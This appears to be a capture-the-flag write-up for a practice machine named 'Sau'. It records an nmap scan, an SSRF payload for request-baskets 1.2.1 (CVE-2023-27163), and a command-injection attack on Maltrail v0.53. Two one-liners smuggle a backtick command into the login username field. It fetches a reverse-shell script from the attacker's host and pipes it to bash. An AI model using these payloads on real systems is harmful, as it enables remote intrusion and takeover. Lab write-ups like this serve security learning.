

Sau

nmap

```
Nmap scan report for 10.10.11.224
Host is up (0.086s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open  unknown
|_ fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 09 Jul 2023 06:48:32 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 09 Jul 2023 06:48:05 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 09 Jul 2023 06:48:06 GMT
|     Content-Length: 0
|_ 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94%I=7%D=7/9%Time=64AA5825P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A2,"HTTP/1.0\0x20302\0x20Found\r\nContent-Type:\0x20text/html;\x
SF:20charset=utf-8\r\nLocation:\0x20/web\r\nDate:\0x20Sun,\0x2009\0x20Jul\0x202
SF:023\0x2006:48:05\0x20GMT\r\nContent-Length:\0x2027\r\n\r\n<a\0x20href="/we
```

baskets

request-baskets 1.2.1 is vulnerable to SSRF
CVE-2023-27163

Using the following payload reveals port 80's website

```
IMPORTANT: proxy_response=true was REQUIRED and expand_path=true may or may not have been
{
"forward_url": "http://localhost:80/",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
```

maltrail

The website has nothing interesting other than Maltrain v0.53

This version of Maltrain has an OS command injection vulnerability
<https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/>

using command vulnerability, I hosted the file contents on a python server

possible creds found in maltrail.conf:

admin:changeme!

local:changeme!

^ these were just default creds that did not work

the following payload (revshell.sh is a simple bash reverse shell) works:

curl <http://10.10.11.224:55555/pog/login> --data 'username='`curl <http://10.10.14.21/revshell.sh> | bash`

Note:

curl <http://10.10.11.224:55555/pog/login> --data 'username='`wget -O- <http://10.10.14.21/revshell.sh> | bash`

also works! Don't forget the -O-!!!

priv esc

trivial sudo -l into gtfobins

GG